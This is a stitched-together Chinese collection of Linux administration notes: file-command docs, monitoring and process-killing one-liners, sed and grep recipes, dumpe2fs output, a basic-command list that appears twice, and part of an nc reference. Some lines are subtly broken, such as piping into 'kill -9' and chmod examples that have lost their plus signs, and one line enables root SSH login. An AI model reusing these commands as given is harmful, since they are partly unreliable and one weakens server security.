如果 file 操作数指定的文件不存在或不可读,则字符串 cannot open 应包含为 type 字段的一部分,但这不应当作影响退出状态的错误。如果 file 操作数指定的文件的类型不能确定,则字符串 data 应包含为 type 字段的一部分,但这不应当作影响退出状态的错误。
标志
-c 检查指定的 magic 文件(缺省情况下,/etc/magic 文件)有无格式错误。此验证一般不进行。在此标志下文件输入不执行。
-d 将任何缺省系统测试应用到文件。
-f FileList 读取指定的文件列表。文件必需在每行列出一个文件,不包含开开头和拖尾空格。
-h 当遇到符号链接时,将文件标识为符号链接。如果未指定 -h 标志且 file 是指向不存在文件的符号链接,file 应将文件标识为符号链接,就好像指定了 -h 标志。
-i 如果文件不是常规文件,则不尝试进一步对文件类型进行分类,但如描述中指定的那样标识文件。
-m MagicFile 指定 magic 文件的文件名(缺省情况下,/etc/magic)。
-M File 指定包含应应用于文件以对其分类的测试的文件的名称。不应应用缺省系统测试。
退出状态
此命令返回下列出口值:
0 成功结束。
>0 发生错误。
示例
1. 要显示文件中包含的信息类型,请输入:
file myfile
这将显示文件 myfile的类型(例如目录,数据,ASCII 文本,C 程序源,压缩文档)。
2. 要显示在文件名列表中指定的每个文件的类型,请输入:
file -f filenames
这将显示在 filenames 列表中指定的每个文件的类型。每个文件必须单独出现在一行上。
注:要从 file 命令获取定制的信息,请和 -m 标志一起使用独立的 magic 文件。不建议编辑只读的 /etc/magic 文件。
文件
/usr/bin/file 包含 file 命令。
/etc/magic 包含文件类型数据库。
linux一句话命令
http://shellfish.iteye.com/blog/790590
http://bbs.linuxtone.org/thread-16-1-1.html
1.删除0字节文件
find -type f -size 0 -exec rm -rf {} \;
2.查看进程
按内存从大到小排列
ps -e -o "%C : %p : %z : %a"|sort -k5 -nr
3.按cpu利用率从大到小排列
ps -e -o "%C : %p : %z : %a"|sort -nr
4.打印说cache里的URL
grep -r -a jpg /data/cache/* | strings | grep "http:" | awk -F'http:' '{print "http:"$2;}'
5.查看http的并发请求数及其TCP连接状态:
netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
6.
sed -i '/Root/s/no/yes/' /etc/ssh/sshd_config sed在这个文里Root的一行,匹配Root一行,将no替换成yes.
7.1.如何杀掉mysql进程:
ps aux|grep mysql|grep -v grep |awk '{print $2}'|xargs kill -9
(从中了解到awk的用途)
pgrep mysql |xargs kill -9
killall -TERM mysqld
kill -9 `cat /usr/local/apache2/logs/httpd.pid`
试试查杀进程PID
如何自动杀掉WebSphere JAVA进程:
[wasuser@B2Cmonitor bin]$ pkill -9 | grep java
[wasuser@B2Cmonitor bin]$ ps -ef | pgrep java | xargs kill -9
[wasuser@B2Cmonitor bin]$ ps -ef |grep java
wasuser 22005 1 85 16:36 pts/300:00:34 /opt/IBM/WebSphere/AppServer/java/bin/java -Declipse.security -Dwas.status.socket=39623 -Dosgi.install.area=/opt/IBM/WebSphere/AppServer -Dosgi.configuration.area=/opt/IBM/WebSphere/AppServer/profiles/Dmgr01/configuration -Djava.awt.headless=true -Dosgi.framework.extensions=com.ibm.cds,com.ibm.ws.eclipse.adaptors -Xshareclasses:name=webspherev70_%g,groupAccess,nonFatal -Xscmx50M -Xbootclasspath/p:/opt/IBM/WebSphere/AppServer/java/jre/lib/ext/ibmorb.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ext/ibmext.jar -classpath /opt/IBM/WebSphere/AppServer/profiles/Dmgr01/properties:/opt/IBM/WebSphere/AppServer/properties:/opt/IBM/WebSphere/AppServer/lib/startup.jar:/opt/IBM/WebSphere/AppServer/lib/bootstrap.jar:/opt/IBM/WebSphere/AppServer/lib/jsf-nls.jar:/opt/IBM/WebSphere/AppServer/lib/lmproxy.jar:/opt/IBM/WebSphere/AppServer/lib/urlprotocols.jar:/opt/IBM/WebSphere/AppServer/deploytool/itp/batchboot.jar:/opt/IBM/WebSphere/AppServer/deploytool/itp/batch2.jar:/opt/IBM/WebSphere/AppServer/java/lib/tools.jar -Dibm.websphere.internalClassAccessMode=allow -Xms50m -Xmx256m -Xcompressedrefs -Dws.ext.dirs=/opt/IBM/WebSphere/AppServer/java/lib:/opt/IBM/WebSphere/AppServer/profiles/Dmgr01/classes:/opt/IBM/WebSphere/AppServer/classes:/opt/IBM/WebSphere/AppServer/lib:/opt/IBM/WebSphere/AppServer/installedChannels:/opt/IBM/WebSphere/AppServer/lib/ext:/opt/IBM/WebSphere/AppServer/web/help:/opt/IBM/WebSphere/AppServer/deploytool/itp/plugins/com.ibm.etools.ejbdeploy/runtime -Dderby.system.home=/opt/IBM/WebSphere/AppServer/derby -Dcom.ibm.itp.location=/opt/IBM/WebSphere/AppServer/bin -Djava.util.logging.configureByServer=true -Duser.install.root=/opt/IBM/WebSphere/AppServer/profiles/Dmgr01 -Djavax.management.builder.initial=com.ibm.ws.management.PlatformMBeanServerBuilder -Dwas.install.root=/opt/IBM/WebSphere/AppServer -Dpython.cachedir=/opt/IBM/WebSphere/AppServer/profiles/Dmgr01/temp/cachedir -Djava.util.logging.manager=com.ibm.ws.bootstrap.WsLogManager -Dserver.root=/opt/IBM/WebSphere/AppServer/profiles/Dmgr01 -Dcom.ibm.security.jgss.debug=off -Dcom.ibm.security.krb5.Krb5Debug=off -Djava.security.auth.login.config=/opt/IBM/WebSphere/AppServer/profiles/Dmgr01/properties/wsjaas.conf -Djava.security.policy=/opt/IBM/WebSphere/AppServer/profiles/Dmgr01/properties/server.policy com.ibm.wsspi.bootstrap.WSPreLauncher -nosplash -application com.ibm.ws.bootstrap.WSLauncher com.ibm.ws.runtime.WsServer /opt/IBM/WebSphere/AppServer/profiles/Dmgr01/config B2CmonitorCell01 B2CmonitorCellManager01 dmgr
wasuser 22120 19378 0 16:36 pts/300:00:00 grep java
[root@B2Cmonitor dmgr]# ps -ef | grep java | grep -v grep | awk '$1~/wasuser/{print $2}' | xargs -I {} kill -9 {}
8.显示运行3级别开启的服务:
ls /etc/rc3.d/S* |cut -c 15-
(从中了解到cut的用途,截取数据)
9.如何在编写SHELL显示多个信息,用EOF
cat << EOF
+--------------------------------------------------------------+
| === Welcome to Tunoff services === |
+--------------------------------------------------------------+
EOF
10. for 的巧用(如给mysql建软链接)
cd /usr/local/mysql/bin
for i in *
do ln /usr/local/mysql/bin/$i /usr/bin/$i
done
11. 取IP地址:
ifconfig eth0|sed -n '2p'|awk '{print $2}'|cut -c 6-30
或者:
ifconfig eth0 |grep "inet addr:" |awk '{print $2}'|cut -c 6-
或者
ifconfig | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'
或者:
ifconfig eth0 | sed -n '/inet /{s/.*addr://;s/ .*//;p}'
Perl实现获取IP的方法:
ifconfig -a | perl -ne 'if ( m/^\s*inet (?:addr:)?([\d.]+).*?cast/ ) { print qq($1\n); exit 0; }'
12.内存的大小:
free -m |grep "Mem" | awk '{print $2}'
13.
netstat -an -t | grep ":80" | grep ESTABLISHED | awk '{printf "%s %s\n",$5,$6}' | sort
watch -n 2 "netstat -an -t | grep ":80" | grep ESTABLISHED | awk '{printf "%s %s\n",$5,$6}' | sort"
14.查看Apache的并发请求数及其TCP连接状态:
netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
15.因为同事要统计一下服务器下面所有的jpg的文件的大小,写了个shell给他来统计.原来用xargs实现,但他一次处理一部分,搞的有多个总和....,下面的命令就能解决啦.
find / -name *.jpg -exec wc -c {} \;|awk '{print $1}'|awk '{a+=$1}END{print a}'
CPU的数量(多核算多个CPU,
cat /proc/cpuinfo |grep -c processor
)越多,系统负载越低,每秒能处理的请求数也越多。
16 CPU负载 # cat /proc/loadavg
检查前三个输出值是否超过了系统逻辑CPU的4倍。
18 CPU负载 #mpstat 1 1
检查%idle是否过低(比如小于5%)
19 内存空间 # free
检查free值是否过低 也可以用 # cat /proc/meminfo
20 swap空间 # free
检查swap used值是否过高 如果swap used值过高,进一步检查swap动作是否频繁:
# vmstat 1 5
观察si和so值是否较大(swap in 和 swap out);
观察b参数(等待资源的进程数)和wa参数(I/O等待中所占用的CPU时间的百分比,高于30%时,则I/O负荷较大)
http://zhidao.baidu.com/question/252503810.html&__bd_tkn__=6dbf1438382198254553a433aaae33ac854f81ed8078338d51fed8133ea5c69d362ad36bb4bcda3b39bb3949f6bbe47087ac3af56e60b1f4e7eb60157a59ff379d64a1f95e0f03de0125277dd03bb97a3c01ed77792cc3f8db49317b015a472ac464783b4cbdafdc9a0888accbdc8c09cb322aff48aa
8点到18点是10个小时,3分钟采样一次一个小时是60/3=20次,10个小时共200次,
设个cron job每天8点跑这个命令: vmstat 180 200 > /tmp/CPUUsage_$(date +%Y%m%d).log
3分钟输入一次,然后CPU的值与70%比较,如果大于这个值就发邮件出来。
何谓70%?使用率大于70%?你需知道vmstat出来的cpu信息有4种状态:
kthr memory page faults cpu time
------- --------------------- ------------------------------------ ------------------ ----------- --------
r b avm fre re pi po fr sr cy in sy cs us sy id wa hr mi se
1 1 784933 7866 0 0 0 3 4 0 22 493 312 0 0 99 0 03:53:11
us是用户进程使用率,sy是系统进程使用率,id是空闲,wa是等待资源的花费
按你说的应该应该是如果id的值小于30吧(其它开销大于70)就发邮件,可以试试这样每3分钟执行一次:
vmstat -wt |tail -1>> /tmp/vmstat.$(date +%Y%m%d).log
(( $(tail -1 /tmp/vmstat.$(date +%Y%m%d).log|awk '{print $(NF-2)}') < 30 )) && \
tail -1 /tmp/vmstat.$(date +%Y%m%d).log|mail -s "Subject" "yourMailBox@domain"
21 磁盘空间 # df -h
检查是否有分区使用率(Use%)过高(比如超过90%) 如发现某个分区空间接近用尽,可以进入该分区的挂载点,用以下命令找出占用空间最多的文件或目录:
[root@localhost ~]# du -cks * | sort -rn | head -n 10
22 磁盘I/O负载
[root@localhost ~]# iostat -x 1 2
用iostat查看磁盘/dev/sdc3的磁盘i/o情况,每两秒刷新一次
[root@localhost ~]# iostat -d -x /dev/sdc3 2
检查I/O使用率(%util)是否超过100%
23 网络负载 [root@localhost ~]# sar -n DEV
检查网络流量(rxbyt/s, txbyt/s)是否过高
24 网络错误 # netstat -i
检查是否有网络错误(drop fifo colls carrier) 也可以用命令:# cat /proc/net/dev
25 网络连接数目 # netstat -an | grep -E “^(tcp)” | cut -c 68- | sort | uniq -c | sort -n
watch -n 2 "netstat -an | grep -E “^(tcp)” | cut -c 68- | sort | uniq -c | sort -n"
26 进程总数 # ps aux | wc -l
检查进程个数是否正常 (比如超过250)
27 可运行进程数目 # vmwtat 1 5
列给出的是可运行进程的数目,检查其是否超过系统逻辑CPU的4倍
28 进程 # top -id 1
观察是否有异常进程出现
29 网络状态 检查DNS, 网关等是否可以正常连通
30 用户 # who | wc -l
检查登录用户是否过多 (比如超过50个) 也可以用命令:# uptime
31 系统日志 # cat /var/log/rflogview/*errors
检查是否有异常错误记录 也可以搜寻一些异常关键字,例如:
# grep -i error /var/log/messages
# grep -i fail /var/log/messages
# egrep -i 'error|warn' /var/log/messages 查看系统异常
grep 或 egrep 或awk 过滤两个或多个关键词
http://mylinux.5d6d.com/thread-198-1-1.html
[root@b2clogbackup logs]# grep -E '123|abc' filename // 找出文件(filename)中包含123或者包含abc的行
[root@b2clogbackup logs]# egrep '123|abc' filename//用egrep同样可以实现
[root@b2clogbackup logs]# awk '/123|abc/' filename // awk 的实现方式
# 递归文件夹 查找某日志关键字 // xargs -t 输出搜索命令 // 单 引号+关键词 或可调用关键自身命令 如 'date '
# 查找多文件中特定关键词
[root@b2clogbackup logs]# find . -name solrconfig.xml |xargs -I {} less {}|grep 'keyworks '
# 查找多文件中并复制
http://hi.baidu.com/ientry/item/fb8d3930e587028af5e4add7
查找当前目录下所有txt文件并复制到/home/www/web/目录下
[root@b2clogbackup logs]# find . -name '*.txt' | xargs -i cp {} /home/www/web/
# 查找多文件中特定关键词并批量修改
[root@b2clogbackup logs]# find ./ -name 'wyg*.txt'|xargs -I {} sed -i 's/www/rrr/g' {}
[root@b2clogbackup logs]# find . -name '*.log' | xargs -I {} -t grep 'cannot resolve symbol' {} | more
[root@b2clogbackup logs]# find /b2clog/wcbd/logs -name '*.log' | xargs -I {} -t grep 'cannot resolve symbol' {} | more
# linux下批量替换文件内容
1、网络上现成的资料
格式: sed -i "s/查找字段/替换字段/g" `grep 查找字段 -rl 路径`
linux sed 批量替换多个文件中的字符串
sed -i "s/oldstring/newstring/g" `grep oldstring -rl yourdir`
例如:替换/home下所有文件中的www.admin99.net为admin99.net
sed -i "s/www.admin99.net/admin99.net/g" `grep www.admin99.net -rl /home`
exp:sed -i "s/shabi/$/g" `grep shabi -rl ./`
2、自己额外附加
2.1 将文件1.txt内的文字“garden”替换成“mirGarden”
# sed -i "s/garden/mirGarden/g" 1.txt //sed -i 很简单
2.2 将当前目录下的所有文件内的“garden”替换成“mirGarden”
## sed -i "s/garden/mirGarden/g" `ls` //其实也就是ls出多个文件名而已
32 核心日志 # dmesg
检查是否有异常错误记录
33 系统时间 # date
检查系统时间是否正确
34 打开文件数目 # lsof | wc -l
linux lsof详解
http://blog.csdn.net/guoguo1980/article/details/2324454
检查打开文件总数是否过多
# 用lsof查看这些进程号打开的文件句柄数 for i in 16373 16374 16375 16376 16377 16378 16379 16380 do echo `lsof -p i | wc -l` ; done
35 日志 # logwatch ?print 配置/etc/log.d/logwatch.conf,将 Mailto 设置为自己的email 地址,启动mail服务 (sendmail或者postfix),这样就可以每天收到日志报告了。
缺省logwatch只报告昨天的日志,可以用# logwatch ?print ?range all 获得所有的日志分析结果。
可以用# logwatch ?print ?detail high 获得更具体的日志分析结果(而不仅仅是出错日志)。
36.杀掉80端口相关的进程
lsof -i :80|grep -v "PID"|awk '{print "kill -9",$2}'|sh
37.清除RedHat僵死进程 / 僵尸进程 / 查找僵死进程
[root@b2cbbstest soft]# ps -el | grep Z
F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD
1 Z 0 20096 20063 0 78 0 - 0 exit ?00:00:00 Xsession <defunct>
[root@b2cbbstest soft]# ps -el | grep defunct
[root@b2cbbstest soft]# ps -eal | awk '{ if ($2 == "Z") {print $4}}' | kill -9
38.tcpdump 抓包 ,用来防止80端口被人攻击时可以分析数据
[root@Desktop ~]# tcpdump -c 10000 -i eth0 -n dst port 80 > /root/pkts
[root@Desktop ~]# tcpdump -i eth0
39.然后检查IP的重复数 并从小到大排序 注意 "-t\ +0" 中间是两个空格
# less pkts | awk {'printf $3"\n"'} | cut -d. -f 1-4 | sort | uniq -c | awk {'printf $1" "$2"\n"'} | sort -n -t\ +0
40.查看有多少个活动的php-cgi进程
netstat -anp | grep php-cgi | grep ^tcp | wc -l
watch -n 2 "netstat -anp | grep php-cgi | grep ^tcp | wc -l"
41.利用iptables对应简单攻击
netstat -an | grep -v LISTEN | awk ‘{print $5}’ |grep -v 127.0.0.1|grep -v 本机ip|sed “s/::ffff://g”|awk ‘BEGIN { FS=”:” } { Num[$1]++ } END { for(i in Num) if(Num>8) { print i} }’ |grep ‘[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}’| xargs -i[] iptables -I INPUT -s [] -j DROP
Num>8部分设定值为阀值,这条句子会自动将netstat -an 中查到的来自同一IP的超过一定量的连接的列入禁止范围。 基中本机ip改成你的服务器的ip地址
42. 怎样知道某个进程在哪个CPU上运行?
# ps -eo pid,args,psr
43. 查看硬件制造商
dmidecode -s system-product-name
44.perl如何编译成字节码,这样在处理复杂项目的时候会更快一点?
perlcc -B -o webseek webseek.pl
45. 统计var目录下文件以M为大小,以列表形式列出来。
find /var -type f | xargs ls -s | sort -rn | awk '{size=$1/1024; printf("%dMb %s\n", size,$2);}' | head
查找var目录下文件大于100M的文件,并统计文件的个数
find /var -size +100M -type f | tee file_list | wc -l
46. sed 查找并替换内容
sed -i "s/varnish/LTCache/g" `grep "Via" -rl /usr/local/src/varnish-2.0.4`
sed -i "s/X-Varnish/X-LTCache/g" `grep "X-Varnish" -rl /usr/local/src/varnish-2.0.4`
47. 查看服务器制造商
dmidecode -s system-product-name
48. wget 模拟user-agent抓取网页
wget -m -e robots=off -U "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6" http://www.example.com/
50. 统计目录下文件的大小(按M打印显示)
du $1 --max-depth=1 | sort -n|awk '{printf "%7.2fM ----> %s\n",$1/1024,$2}'|sed 's:/.*/\([^/]\{1,\}\)$:\1:g'
51.关于CND实施几个相关的统计
统计一个目录中的目录个数
ls -l | awk '/^d/' | wc -l
统计一个目录中的文件个数
ls -l | awk '/^-/' | wc -l
统计一个目录中的全部文件数
find ./ -type f -print | wc -l
统计一个目录中的全部子目录数
find ./ -type d -print | wc -l
统计某类文件的大小:
find ./ -name "*.jpg" -exec wc -c {} \;|awk '{print $1}'|awk '{a+=$1}END{print a}'
53. 查找占用磁盘IO最多的进程
wget -c http://linux.web.psi.ch/dist/scientific/5/gfa/all/dstat-0.6.7-1.rf.noarch.rpm
dstat -M topio -d -M topbio
54. 去掉第一列(如行号代码)
awk '{for(i=2;i<=NF;i++) if(i!=NF){printf $i" "}else{print $i} }' list
55.输出256中色彩
for
i in {0..255}; do echo -e "\e[38;05;${i}m${i}"; done | column -c 80 -s '
'; echo -e "\e[m"
56.查看机器支持内存
机器插内存情况:
[root@nginx2 catentries]# dmidecode |grep -P "Maximum\s+Capacity"
Maximum Capacity: 256 GB
机器最大支持内存:
[root@nginx2 catentries]# dmidecode |grep -P "Maximum\s+Capacity"
Maximum Capacity: 256 GB
LINUX下grep、sed、gawk指令详解
http://laozy.iteye.com/blog/391311
http://gnuwin32.sourceforge.net/packages/gawk.htm
http://wenku.baidu.com/view/6363eed5b9f3f90f76c61b66.html
gawk的主要功能是针对文件的每一行(line),也就是每一条记录,搜寻制定的格式。
分割apache日志 access.log / 截取access.log特定行内容
[root@SmartEDM3 ~]# cat /etc/httpd/logs/access_log.1 | gawk 'BEGIN{i=0;}{i=i+1;if((i>1)&&(i<54)) print $0;}' > /etc/httpd/logs/access_cut.log
tune2fs和dumpe2fs 命令用法
http://tonykorn97.itpub.net/post/6414/461646
显示当前的磁盘状态(dumpe2fs) //192.167.140.11 Elearning Nginx Server
[root@elearnnginx /]# dumpe2fs /dev/sda1
dumpe2fs 1.39 (29-May-2006)
Filesystem volume name: /boot
Last mounted on: <not available>
Filesystem UUID: 542e557b-f450-486a-8426-6b9eea1e2e9d
Filesystem magic number: 0xEF53
Filesystem revision #: 1 (dynamic)
Filesystem features: has_journal ext_attr resize_inode dir_index filetype needs_recovery sparse_super
Default mount options: user_xattr acl
Filesystem state: clean
Errors behavior: Continue
Filesystem OS type: Linux
Inode count: 26104
Block count: 104388
Reserved block count: 5219
Free blocks: 88462
Free inodes: 26070
First block: 1
Block size: 1024
Fragment size: 1024
Reserved GDT blocks: 256
Blocks per group: 8192
Fragments per group: 8192
Inodes per group: 2008
Inode blocks per group: 251
Filesystem created: Wed May 30 00:58:43 2012
Last mount time: Wed May 30 16:19:42 2012
Last write time: Wed May 30 16:19:42 2012
Mount count: 5
Maximum mount count: -1
Last checked: Wed May 30 00:58:43 2012
Check interval: 0 (<none>)
Reserved blocks uid: 0 (user root)
Reserved blocks gid: 0 (group root)
First inode: 11
Inode size: 128
Journal inode: 8
Default directory hash: tea
Directory Hash Seed: 171e5d99-a645-4393-abbd-3252754d5ce9
Journal backup: inode blocks
Journal size: 4114k
Group 0: (Blocks 1-8192)
Primary superblock at 1, Group descriptors at 2-2
Reserved GDT blocks at 3-258
Block bitmap at 259 (+258), Inode bitmap at 260 (+259)
Inode table at 261-511 (+260)
1023 free blocks, 1991 free inodes, 2 directories
Free blocks: 5863-6885
Free inodes: 18-2008
Group 1: (Blocks 8193-16384)
Backup superblock at 8193, Group descriptors at 8194-8194
Reserved GDT blocks at 8195-8450
Block bitmap at 8451 (+258), Inode bitmap at 8452 (+259)
Inode table at 8453-8703 (+260)
3471 free blocks, 2008 free inodes, 0 directories
Free blocks: 8704, 9494-12902, 16324-16384
Free inodes: 2009-4016
Group 2: (Blocks 16385-24576)
Block bitmap at 16385 (+0), Inode bitmap at 16386 (+1)
Inode table at 16387-16637 (+2)
7939 free blocks, 2008 free inodes, 0 directories
Free blocks: 16638-24576
Free inodes: 4017-6024
Group 3: (Blocks 24577-32768)
Backup superblock at 24577, Group descriptors at 24578-24578
Reserved GDT blocks at 24579-24834
Block bitmap at 24835 (+258), Inode bitmap at 24836 (+259)
Inode table at 24837-25087 (+260)
7681 free blocks, 2008 free inodes, 0 directories
Free blocks: 25088-32768
Free inodes: 6025-8032
Group 4: (Blocks 32769-40960)
Block bitmap at 32769 (+0), Inode bitmap at 32770 (+1)
Inode table at 32771-33021 (+2)
7939 free blocks, 2008 free inodes, 0 directories
Free blocks: 33022-40960
Free inodes: 8033-10040
Group 5: (Blocks 40961-49152)
Backup superblock at 40961, Group descriptors at 40962-40962
Reserved GDT blocks at 40963-41218
Block bitmap at 41219 (+258), Inode bitmap at 41220 (+259)
Inode table at 41221-41471 (+260)
7681 free blocks, 2008 free inodes, 0 directories
Free blocks: 41472-49152
Free inodes: 10041-12048
Group 6: (Blocks 49153-57344)
Block bitmap at 49153 (+0), Inode bitmap at 49154 (+1)
Inode table at 49155-49405 (+2)
7939 free blocks, 2008 free inodes, 0 directories
Free blocks: 49406-57344
Free inodes: 12049-14056
Group 7: (Blocks 57345-65536)
Backup superblock at 57345, Group descriptors at 57346-57346
Reserved GDT blocks at 57347-57602
Block bitmap at 57603 (+258), Inode bitmap at 57604 (+259)
Inode table at 57605-57855 (+260)
7461 free blocks, 1991 free inodes, 1 directories
Free blocks: 57872-58368, 58415-58880, 58888-59392, 59400-59904, 59914-62464, 62466-62976, 63081-63488, 63497-64000, 64009-64512, 64520-65024, 65032-65536
Free inodes: 14074-16064
Group 8: (Blocks 65537-73728)
Block bitmap at 65537 (+0), Inode bitmap at 65538 (+1)
Inode table at 65539-65789 (+2)
7939 free blocks, 2008 free inodes, 0 directories
Free blocks: 65790-73728
Free inodes: 16065-18072
Group 9: (Blocks 73729-81920)
Backup superblock at 73729, Group descriptors at 73730-73730
Reserved GDT blocks at 73731-73986
Block bitmap at 73987 (+258), Inode bitmap at 73988 (+259)
Inode table at 73989-74239 (+260)
7681 free blocks, 2008 free inodes, 0 directories
Free blocks: 74240-81920
Free inodes: 18073-20080
Group 10: (Blocks 81921-90112)
Block bitmap at 81921 (+0), Inode bitmap at 81922 (+1)
Inode table at 81923-82173 (+2)
7939 free blocks, 2008 free inodes, 0 directories
Free blocks: 82174-90112
Free inodes: 20081-22088
Group 11: (Blocks 90113-98304)
Block bitmap at 90113 (+0), Inode bitmap at 90114 (+1)
Inode table at 90115-90365 (+2)
7939 free blocks, 2008 free inodes, 0 directories
Free blocks: 90366-98304
Free inodes: 22089-24096
Group 12: (Blocks 98305-104387)
Block bitmap at 98305 (+0), Inode bitmap at 98306 (+1)
Inode table at 98307-98557 (+2)
5830 free blocks, 2008 free inodes, 0 directories
Free blocks: 98558-104387
Free inodes: 22097-26104
http://www.saus.cn/technic/linux.htm
1.man 对你熟悉或不熟悉的命令提供帮助解释
eg:man ls 就可以查看ls相关的用法
注:按q键或者ctrl c退出,在linux下可以使用ctrl c终止当前程序运行
2.ls 查看目录或者文件的属*,列举出任一目录下面的文件
eg: ls /usr/man
ls -l
a.d表示目录(directory),如果是一个"-"表示是文件,如果是l则表示是一个连接文件(link)
b.表示文件或者目录许可权限.分别用可读(r),可写(w),可运行(x).
3.cp 拷贝文件
eg: cp filename1 filename2 //把filename1拷贝成filename2
cp 1.c netseek/2.c //将1.c拷到netseek目录下命名为2.c
4.rm 删除文件和目录
eg: rm 1.c //将1.c这个文件删除
5.mv 移走目录或者改文件名
eg: mv filename1 filename2 //将filename1 改名为filename2
mv qib.tgz ../qib.tgz //移到上一级目录
6.cd 改变当前目录 pwd 查看当前所在目录完整路径 字串8
eg: pwd //查看当前所在目录路径
cd netseek //进入netseek这个目录
cd //退出当前目录
7.cat,more命令
将某个文件的内容显示出来.两个命令所不同的是:cat把文件内容一直打印出来,而 more则分屏显示
eg; cat>1.c //就可以把代码粘帖到1.c文件里,按ctrl d 保存代码。
cat 1.c 或more 1.c //都可以查看里面的内容。
gcc -o 1 1.c //将1.c编译成.exe文件,我们可以用此命编译出代码
8.chmod 命令 权限修改 用法:chmod 一位8进制数 filename
eg: chmod u x filenmame //只想给自己运行,别人只能读
//u表示文件主人, g 表示文件文件所在组. o 表示其他人 ;r 表可读,w 表可写,x 表可以运行
chmod g x filename //同组的人来执行
9. clear,date命令
clear:清屏,相当与DOS下的cls;date:显示当前时间.
10.mount 加载一个硬件设备
用法:mount [参数] 要加载的设备 载入点
eg: mount /dev/cdrom
cd /mnt/cdrom //进入光盘目录
11.su 在不退出登陆的情况下,切换到另外一个人的身份
用法: su -l 用户名(如果用户名缺省,则切换到root状态)
eg:su -l netseek (切换到netseek这个用户,将提示输入密码)
12.whoami,whereis,which,id
//whoami:确认自己身份.
//whereis:查询命令所在目录以及帮助文档所在目录.
//which:查询该命令所在目录(类似whereis)
//id:打印出自己的UID以及GID.(UID:用户身份唯一标识.GID:用户组身份唯一标识.每一个用户只能有一个唯一的UID和 GID)
eg: whoami //显示你自已登陆的用户名
whereis bin 显示bin所在的目录, 将显示为:/usr/local/bin
which bin
13. grep,find
grep:文本内容搜索;find:文件或者目录名以及权限属主等匹配搜索
eg: grep success * /*查找当前目录下面所有文件里面含有success字符的文件
14.kill 可以杀死某个正在进行或者已经是dest状态的进程
eg; ps ax
15.passwd 可以设置口令
16.history 用户用过的命令
eg: history //可以显示用户过去使用的命令
17.!! 执行最近一次的命令
18.mkdir命令
eg: mkdir netseek //创建netseek这个目录
19.tar 解压命令
eg: tar -zxvf nmap-3.45.tgz //将这个解压到nmap-3.45这个目录里
20.finger 可以让使用者查询一些其他使用者的资料
eg: finger //查看所用用户的使用资料
finger root //查看root的资料
http://www.saus.cn/technic/linux.htm
1.man 对你熟悉或不熟悉的命令提供帮助解释
eg:man ls 就可以查看ls相关的用法
注:按q键或者ctrl c退出,在linux下可以使用ctrl c终止当前程序运行
2.ls 查看目录或者文件的属*,列举出任一目录下面的文件
eg: ls /usr/man
ls -l
a.d表示目录(directory),如果是一个"-"表示是文件,如果是l则表示是一个连接文件(link)
b.表示文件或者目录许可权限.分别用可读(r),可写(w),可运行(x).
3.cp 拷贝文件
eg: cp filename1 filename2 //把filename1拷贝成filename2
cp 1.c netseek/2.c //将1.c拷到netseek目录下命名为2.c
4.rm 删除文件和目录
eg: rm 1.c //将1.c这个文件删除
5.mv 移走目录或者改文件名
eg: mv filename1 filename2 //将filename1 改名为filename2
mv qib.tgz ../qib.tgz //移到上一级目录
6.cd 改变当前目录 pwd 查看当前所在目录完整路径 字串8
eg: pwd //查看当前所在目录路径
cd netseek //进入netseek这个目录
cd //退出当前目录
7.cat,more命令
将某个文件的内容显示出来.两个命令所不同的是:cat把文件内容一直打印出来,而 more则分屏显示
eg; cat>1.c //就可以把代码粘帖到1.c文件里,按ctrl d 保存代码。
cat 1.c 或more 1.c //都可以查看里面的内容。
gcc -o 1 1.c //将1.c编译成.exe文件,我们可以用此命编译出代码
8.chmod 命令 权限修改 用法:chmod 一位8进制数 filename
eg: chmod u x filenmame //只想给自己运行,别人只能读
//u表示文件主人, g 表示文件文件所在组. o 表示其他人 ;r 表可读,w 表可写,x 表可以运行
chmod g x filename //同组的人来执行
9. clear,date命令
clear:清屏,相当与DOS下的cls;date:显示当前时间.
10.mount 加载一个硬件设备
用法:mount [参数] 要加载的设备 载入点
eg: mount /dev/cdrom
cd /mnt/cdrom //进入光盘目录
11.su 在不退出登陆的情况下,切换到另外一个人的身份
用法: su -l 用户名(如果用户名缺省,则切换到root状态)
eg:su -l netseek (切换到netseek这个用户,将提示输入密码)
12.whoami,whereis,which,id
//whoami:确认自己身份.
//whereis:查询命令所在目录以及帮助文档所在目录.
//which:查询该命令所在目录(类似whereis)
//id:打印出自己的UID以及GID.(UID:用户身份唯一标识.GID:用户组身份唯一标识.每一个用户只能有一个唯一的UID和 GID)
eg: whoami //显示你自已登陆的用户名
whereis bin 显示bin所在的目录, 将显示为:/usr/local/bin
which bin
13. grep,find
grep:文本内容搜索;find:文件或者目录名以及权限属主等匹配搜索
eg: grep success * /*查找当前目录下面所有文件里面含有success字符的文件
14.kill 可以杀死某个正在进行或者已经是dest状态的进程
eg; ps ax
15.passwd 可以设置口令
16.history 用户用过的命令
eg: history //可以显示用户过去使用的命令
17.!! 执行最近一次的命令
18.mkdir命令
eg: mkdir netseek //创建netseek这个目录
19.tar 解压命令
eg: tar -zxvf nmap-3.45.tgz //将这个解压到nmap-3.45这个目录里
20.finger 可以让使用者查询一些其他使用者的资料
eg: finger //查看所用用户的使用资料
finger root //查看root的资料
linux nc
linux 下nc 命令的使用
http://samyubw.blog.51cto.com/978243/555247
Linux 指令篇:网络通讯--nc
http://linux.chinaitlab.com/command/723696.html
Linux nc (netcat) 详解
http://blog.csdn.net/michael493439861/article/details/7445454
功能说明:设置路由器。
语 法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
补充说明:执行本指令可设置路由器的相关参数。
参 数:
-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
